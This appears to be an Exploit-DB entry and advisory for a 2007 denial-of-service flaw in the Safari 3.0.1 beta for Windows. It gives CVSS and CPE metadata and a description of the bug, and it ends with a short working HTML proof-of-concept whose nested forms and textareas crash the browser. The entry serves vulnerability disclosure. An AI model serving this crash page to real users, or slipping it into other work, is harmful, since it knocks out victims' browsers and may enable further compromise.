Denial-of-Service Vulnerability in Apple Safari for Windows

vendor:

Safari

by:

Lostmon

5.5

CVSS

MEDIUM

Denial-of-Service

CWE

Product Name: Safari

Affected Version From: Safari 3.0.1 beta for Windows

Affected Version To: Safari 3.0.1 beta for Windows

Patch Exists: NO

Related CWE:

CPE: a:apple:safari:3.0.1

Metasploit:

Other Scripts:

Platforms Tested: Windows

2007

Denial-of-Service Vulnerability in Apple Safari for Windows

Apple Safari for Windows is prone to a denial-of-service vulnerability because it fails to properly handle user-supplied input. An attacker may exploit this issue by enticing victims into opening a maliciously crafted HTML document. Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions. Attackers may also be able to execute arbitrary code, but Symantec had not confirmed this.

Mitigation:

Update to a patched version of Apple Safari for Windows.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/24497/info

Apple Safari for Windows is prone to a denial-of-service vulnerability because it fails to properly handle user-supplied input.

An attacker may exploit this issue by enticing victims into opening a maliciously crafted HTML document.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions. Attackers may also be able to execute arbitrary code, but Symantec had not confirmed this.

Safari 3.0.1 public beta for Windows is reported vulnerable.

<html><Title>Safari 3.0.1 beta for windows Crash Poc By Lostmon</title> <body> <p>Safari 3.0.1 beta for windows Crash Poc By Lostmon (Lostmon@Gmail.com )</p> <p> Put some number in the second form for crash Safari</p> <form id="historyForm1" method="GET" action="#"> <input type="text" id="currentIndex1" name="currentIndex" value="sss"> <textarea id="historyLocation1" name="historyLocation">&lt;/textarea&gt; <form id="historyForm2" method="GET" action="#"> <input type="text" id="currentIndex2" name="currentIndex"> <textarea id="historyLocation2" name="historyLocation">&lt;/textarea&gt; </form></form></body></html>